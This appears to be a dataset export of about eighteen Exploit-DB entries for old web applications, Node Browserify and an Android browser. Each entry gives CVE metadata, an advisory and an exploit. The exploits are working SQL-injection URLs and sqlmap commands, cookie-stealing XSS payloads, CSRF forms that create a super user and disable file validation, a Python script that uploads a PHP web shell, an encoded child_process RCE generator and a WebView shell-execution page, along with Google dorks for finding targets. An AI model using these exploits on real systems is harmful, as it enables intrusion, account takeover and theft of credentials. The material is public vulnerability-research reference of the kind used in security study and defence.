QLWD/code_shield huggingface dataset:
标题: Arab Portal 2.2 - 'members.php' SQL Injection EDB-ID: 34127 CVE: 2010-2340 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/40735/info

Arab Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Arab Portal 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/apt/members.php?action=msearch&by=[SQL] URL: https://www.exploit-db.com/exploits/34127
标题: Hitmaaan Gallery 1.3 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34118 CVE: 2010-0371 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/40711/info

Hitmaaan Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Hitmaaan Gallery 1.3 is vulnerable; other versions may also be affected.

http://www.example.com/1367_hitmaaan-13/?gall=fonds&levela=>"><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>
http://www.example.com/1367_hitmaaan-13/?gall=<img+src=http://127.0.0.1./Utilisateur.gif+onload=alert(213771818860)>&levela=indoushka@hotmail.com&num_page=1 URL: https://www.exploit-db.com/exploits/34118
标题: Microsoft Help and Support Center - '/sysinfo/sysinfomain.htm' Cross-Site Scripting EDB-ID: 34126 CVE: 2010-2265 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/40721/info

Help and Support Center is prone to a cross-site scripting weakness because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the privileged zone of the browser of an unsuspecting user.

NOTE: This issue is a weakness because the affected file is only accessible by trusted sources unless other vulnerabilities, such as BID 40725 (Microsoft Windows Help And Support Center Trusted Document Whitelist Bypass Vulnerability) are used to bypass the restrictions. This weakness may then be used to execute script code in the privileged zone of the browser by unauthorized sites.


The following example URI is available:

hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1> URL: https://www.exploit-db.com/exploits/34126
标题: Bits Video Script 2.04/2.05 - 'search.php' Cross-Site Scripting EDB-ID: 34121 CVE: 2010-0365 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/40716/info

Bits Video Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Bits Video Script 2.04 and 2.05 Gold Beta are vulnerable; other versions may also be affected. 

http://www.example.com/Video/search.php?order=>'><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34121
标题: Bits Video Script 2.04/2.05 - '/addvideo.php' Arbitrary File Upload / Arbitrary PHP Code Execution EDB-ID: 34119 CVE: 2010-0366 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/40712/info

Bits Video Script is prone to multiple arbitrary-file-upload vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Bits Video Script 2.04 and 2.05 Gold Beta are vulnerable; other versions may also be affected. 

http://www.example.com/Video/addvideo.php URL: https://www.exploit-db.com/exploits/34119
标题: Bits Video Script 2.05 Gold Beta - 'showcase2search.php?rowptem[template]' Remote File Inclusion EDB-ID: 34117 CVE: 2010-0367 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/40709/info
 
Bits Video Script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
 
Bits Video Script 2.05 Gold Beta is vulnerable; other versions may also be affected. 

 http://www.example.com/Video/showcase2search.php?rowptem[template]=[EV!L] URL: https://www.exploit-db.com/exploits/34117
标题: Bits Video Script 2.05 Gold Beta - 'showcasesearch.php?rowptem[template]' Remote File Inclusion EDB-ID: 34116 CVE: 2010-0367 类型: WEBAPPS 平台: PHP 发布日期: 2010-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/40709/info

Bits Video Script is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Bits Video Script 2.05 Gold Beta is vulnerable; other versions may also be affected. 

http://www.example.com/Video/showcasesearch.php?rowptem[template]=http://www.example.net/c.txt? URL: https://www.exploit-db.com/exploits/34116
标题: WordPress Plugin Gallery Objects 0.4 - SQL Injection EDB-ID: 34105 CVE: 2014-5201 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-18 漏洞利用脚本: ######################
# Exploit Title : Wordpress Gallery Objects 0.4 SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://galleryobjects.com/

# Software Link : http://downloads.wordpress.org/plugin/gallery-objects.0.4.zip

# Dork Google: inurl:/admin-ajax.php?action=go_view_object      

# Date : 2014-07-18

# Tested on : Windows 7 / Mozilla Firefox
     Windows 7 / sqlmap (0.8-1)
     Linux / Mozilla Firefox
     Linux / sqlmap 1.0-dev-5b2ded0



######################


Poc via Browser:

http://VICTIM/wp-admin/admin-ajax.php?action=go_view_object&viewid=1[ and 1=2]&type=html


sqlmap:

sqlmap -u "http://VICTIM/wp-admin/admin-ajax.php?action=go_view_object&viewid=1&type=html" -p viewid

---
Place: GET
Parameter: viewid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=go_view_object&viewid=475 AND 7403=7403&type=html
---


#####################

Discovered By : Claudio Viviani
  http://www.homelab.it
  info@homelab.it

  https://www.facebook.com/homelabit
  https://twitter.com/homelabit
  https://plus.google.com/+HomelabIt1/

##################### URL: https://www.exploit-db.com/exploits/34105
标题: Omeka 2.2 - Cross-Site Request Forgery / Persistent Cross-Site Scripting EDB-ID: 34100 CVE: 2014-5100 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-17 漏洞利用脚本: <!--

Omeka 2.2 CSRF And Stored XSS Vulnerability


Vendor: Omeka Team (CHNM GMU)
Product web page: http://www.omeka.org
Affected version: 2.2


Summary: Omeka is a free, flexible, and open source web-publishing
platform for the display of library, museum, archives, and scholarly
collections and exhibitions. Its 'five-minute setup' makes launching
an online exhibition as easy as launching a blog.

Desc: Omeka version 2.2 suffers from a cross-site request forgery and
a stored xss vulnerability. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'api_key_label' POST
parameter is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Kali Linux 3.7-trunk-686-pae
           Apache/2.2.22 (Debian)
           PHP 5.4.4-13(apache2handler)
           MySQL 5.5.28


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5193
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php

Vendor: http://omeka.org/blog/2014/07/16/omeka-2-2-1-security-update-released/


16.07.2014

-->


<html>
<title>Omeka 2.2 CSRF And Stored XSS Vulnerability</title>
<body>

<!-- CSRF Add Super User & Activate -->
<!-- Roles: Super, Admin, Researcher, Contributor -->

<form action="http://192.168.0.105/omeka-2.2/admin/users/add" method="POST">
<input type="hidden" name="username" value="Hacker" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="role" value="super" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="submit" value="Add+User" />
<input type="submit" value="Add Super User" />
</form>


<!-- CSRF Add Persistent XSS -->

<form action="http://192.168.0.105/omeka-2.2/admin/users/api-keys/1" method="POST">
<input type="hidden" name="api_key_label" value='<script>location.href="http://www.zeroscience.mk"</script>' />
<input type="hidden" name="update_api_keys" value="Update+API+Keys" />
<input type="submit" value="Insert Script" />
</form>


<!-- CSRF Disable File Validation -->

<form action="http://192.168.0.105/omeka-2.2/admin/settings/edit-security" method="POST">
<input type="hidden" name="disable_default_file_validation" value="1" />
<input type="hidden" name="submit" value="Save+Changes" />
<input type="submit" value="Disable File Validation" />
</form>

</body>
</html> URL: https://www.exploit-db.com/exploits/34100
标题: CuteSITE CMS 1.x - '/manage/main.php?fld_path' Cross-Site Scripting EDB-ID: 34097 CVE: 2010-5025 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/40612/info
 
CuteSITE CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
CuteSITE CMS 1.5.0 is vulnerable; prior versions may also be affected.

http://www.example.com/manage/main.php?fld_path=XXX%3Cscript%3Ealert%28document.cookie%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34097
标题: CuteSITE CMS 1.x - '/manage/add_user.php?user_id' SQL Injection EDB-ID: 34096 CVE: 2010-5024 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/40612/info

CuteSITE CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CuteSITE CMS 1.5.0 is vulnerable; prior versions may also be affected.

http://www.example.com/manage/add_user.php?user_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,user%28%29,15,16 URL: https://www.exploit-db.com/exploits/34096
标题: Node Browserify 4.2.0 - Remote Code Execution EDB-ID: 34090 CVE: 2014-7192 类型: DOS 平台: MULTIPLE 发布日期: 2014-07-16 漏洞利用脚本: #!/usr/bin/python
 
"""
Browserify POC exploit

http://iops.io/blog/browserify-rce-vulnerability/
 
To run, just do:
 
$ python poc.py > exploit.js
$ browserify exploit.js
BITCH I TOLD YOU THIS SHIT IS FABULOUS
[[garbage output]]
},{}]},{},[1]) 00:08:32 up 12:29,  3 users,  load average: 0.00, 0.02, 0.05
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
 
You can also spawn() and create a connect back shell.
 
Enjoy
 
"""
 
def charencode(string):
    encoded=''
    for char in string:
        encoded=encoded+","+str(ord(char))
    return encoded[1:]
 
plaintext = """
   var require = this.process.mainModule.require;
   var sys = require('sys')
   var exec = require('child_process').exec;
   function puts(error, stdout, stderr) { sys.puts(stdout) }
   exec("uptime && id", puts);
   console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
"""
 
payload = charencode(plaintext)
final = "eval(String.fromCharCode(%s));" %(payload)
 
print "});"
print final
print "(function(){" URL: https://www.exploit-db.com/exploits/34090
标题: Joomla! Component Youtube Gallery 4.1.7 - SQL Injection EDB-ID: 34087 CVE: 2014-4960 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-16 漏洞利用脚本: # Exploit Title: Joomla component com_youtubegallery - SQL Injection
vulnerability
# Google Dork: inurl:index.php?option=com_youtubegallery
# Date: 15-07-2014
# Exploit Author: Pham Van Khanh (phamvankhanhbka@gmail.com)
# Vendor Homepage: http://www.joomlaboat.com/youtube-gallery
# Software Link: http://www.joomlaboat.com/youtube-gallery
# Version: 4.x ( 3.x maybe)
# Tested on: newest version 4.1.7 on Joomla 1.5, 2.5, 3
# CVE : CVE-2014-4960

Detail:
In line: 40, file: components\com_youtubegallery\models\gallery.php,
if parameter listid is int (or can cast to int), $listid and $themeid
will not santinized.
Source code:
40: if(JRequest::getInt('listid'))
41: {
42:        //Shadow Box
43:        $listid=JRequest::getVar('listid');
44:
45:
46:        //Get Theme
47:         $m_themeid=(int)JRequest::getVar('mobilethemeid');
48:         if($m_themeid!=0)
49:         {
50:              if(YouTubeGalleryMisc::check_user_agent('mobile'))
51:                    $themeid=$m_themeid;
52:              else
53:                    $themeid=JRequest::getVar('themeid');
54:              }
55:          else
56:               $themeid=JRequest::getVar('themeid');
57: }
After, $themeid and $listid are used in line 86, 92. Two method
getVideoListTableRow and getThemeTableRow concat string to construct
sql query. So it is vulnerable to SQL Injection.
Source code:
86: if(!$this->misc->getVideoListTableRow($listid))
87: {
88:         echo '<p>No video found</p>';
89:         return false;
90: }
91:
92: if(!$this->misc->getThemeTableRow($themeid))
93: {
94:          echo '<p>No video found</p>';
95:          return false;
96: }

# Site POF: http://server/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1'&videoid=ETMVUuFbToQ&tmpl=component&TB_iframe=true&height=500&width=700 URL: https://www.exploit-db.com/exploits/34087
标题: Boat Browser 8.0/8.0.1 - Remote Code Execution EDB-ID: 34088 CVE: 2014-4968 类型: REMOTE 平台: ANDROID 发布日期: 2014-07-16 漏洞利用脚本: <!--
             .:: Remote code execution vulnerability in Boat Browser ::.

             
credit: c0otlass
social contact: https://twitter.com/c0otlass
mail: c0otlass@gmail.com
CVE reserved : 2014-4968
time of discovery:  July 14, 2014
Browser Official site:http://www.boatmob.com/
Browser download link:https://play.google.com/store/apps/details?id=com.boatbrowser.free&hl=en
version Affected : In  8.0 and 8.0.1 tested , Android 3.0 through 4.1.x 
Risk rate: High
vulnerability Description impact: 
 The WebView class and  use of the WebView.addJavascriptInterface method has vulnerability which cause remote code in html page run in android device
 a related issue to CVE-2012-6636
proof of concept:
//..............................................poc.hmtl............................................
-->
<!DOCTYPE html>
<html>
<head>
<meta charset="UFT-8">
<title>CreatMalTxt POC - WebView</title>
<script>
var obj;
function TestVulnerability()
  {
temp="not";
var myObject = window;
 for (var name in myObject) {          
  if (myObject.hasOwnProperty(name)) {         
   try
   {    
   temp=myObject[name].getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null);             
   }
   catch(e)
   {              
   }
   }
 }
    if(temp=="not")
      {
       document.getElementById("log").innerHTML="this browser has been patched";            
      }
     else{
       document.getElementById("log").innerHTML = "This browser is exploitabale" + "<br>" + " the poc file hase been created in sdcard ...<br>" ;
       document.getElementById("log").innerHTML +=  "we could see proccess information"+ temp.exec(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);                     
      }
  }  
</script>
</head>
<body >
<h3>CreatMalTxt POC</h3>
<input value="Test Vulnerability"  type="button"  onclick="TestVulnerability();" />
<div id="log"></div>
</body>  
</html>

<!--
Solution:
https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
http://www.programering.com/a/MDM3YzMwATc.html
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614  

References: 
http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/
https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/
http://50.56.33.56/blog/?p=314
https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py
--> URL: https://www.exploit-db.com/exploits/34088
标题: DM Database Server - 'SP_DEL_BAK_EXPIRED' Memory Corruption EDB-ID: 34058 CVE: 2010-2159 类型: DOS 平台: MULTIPLE 发布日期: 2010-05-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/40460/info

DM Database Server is a database application.

DM Database Server is prone to a remote memory-corruption vulnerability. This issue affects the 'CALL SP_DEL_BAK_EXPIRED' function when a large string is passed to the first argument.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

CALL SP_DEL_BAK_EXPIRED('AAAAAAAAAAAAAAAAAAAA', ''); URL: https://www.exploit-db.com/exploits/34058
标题: TCExam 10.1.7 - '/admin/code/tce_functions_tcecode_editor.php' Arbitrary File Upload EDB-ID: 34073 CVE: 2010-2153 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/40511/info

TCExam is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

TCExam 10.1.007 is vulnerable; other versions may also be affected. 

import sys, socket
host = 'localhost'
tc_exam = 'http://' + host + '/TCExam'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)

    content = '------x\r\n'\
              'Content-Disposition: form-data; name="sendfile0"\r\n'\
              '\r\n'\
              'shell.php\r\n'\
              '------x\r\n'\
              'Content-Disposition: form-data; name="userfile0"; filename="shell.php"\r\n'\
              'Content-Type: application/octet-stream\r\n'\
              '\r\n'\
              '<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'\
              '------x--\r\n'\
              '\r\n'

    header = 'POST ' + tc_exam + '/admin/code/tce_functions_tcecode_editor.php HTTP/1.1\r\n'\
             'Host: ' + host + '\r\n'\
             'Proxy-Connection: keep-alive\r\n'\
             'User-Agent: x\r\n'\
             'Content-Length: ' + str(len(content)) + '\r\n'\
             'Cache-Control: max-age=0\r\n'\
             'Origin: null\r\n'\
             'Content-Type: multipart/form-data; boundary=----x\r\n'\
             'Accept: text/html\r\n'\
             'Accept-Encoding: gzip,deflate,sdch\r\n'\
             'Accept-Language: en-US,en;q=0.8\r\n'\
             'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
             'Cookie: LastVisit=1275442604\r\n'\
             '\r\n'

    s.send(header + content)

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in s.recv(8192):
        print 'error uploading shell'
        return
    else: print 'shell uploaded'

    s.send('GET ' + tc_exam + '/cache/shell.php HTTP/1.1\r\n'\
           'Host: ' + host + '\r\n\r\n')

    if http_ok not in s.recv(8192): print 'shell not found'        
    else: print 'shell located at ' + tc_exam + '/cache/shell.php'

upload_shell() URL: https://www.exploit-db.com/exploits/34073
标题: RazorCMS 1.0 - '/admin/index.php' HTML Injection EDB-ID: 34040 CVE: 2010-5051 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/40373/info

razorCMS is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

razorCMS 1.0 Stable is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/?action=edit&slab=home" method="post" name="main" > <input type="hidden" name="title" value="Home" /> <input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' /> <input type="hidden" name="ptitle" value="" /> <input type="hidden" name="theme" value="theme-default" /> <input type="hidden" name="check_sidebar" value="sidebar" /> <input type="hidden" name="save" value="Save Content" /> </form> <script> document.main.submit(); </script> URL: https://www.exploit-db.com/exploits/34040
标题: Getsimple CMS 2.01 - 'components.php' Cross-Site Scripting EDB-ID: 34041 CVE: 2010-5052 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/40374/info

GetSimple CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

GetSimple CMS 2.01 is vulnerable; prior versions may also be affected.

<form action="http://www.example.com/admin/components.php" method="post" name="main" accept-charset="utf-8" >
 <input type="hidden" name="submitted" value="Save Components" />
 <input name="val[]" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' />
 <input type="hidden" name="slug[]" value="sidebar" />
 <input type="hidden" name="title[]" value="Sidebar" />
 <input type="hidden" name="id[]" value="0" />
 <input type="hidden" name="val[]" value="Just Another GetSimple Website" />
 <input type="hidden" name="slug[]" value="tagline" />
 <input type="hidden" name="title[]" value="Tagline" />
 <input type="hidden" name="id[]" value="1" />
</form>
<script>
document.main.submit();
</script> URL: https://www.exploit-db.com/exploits/34041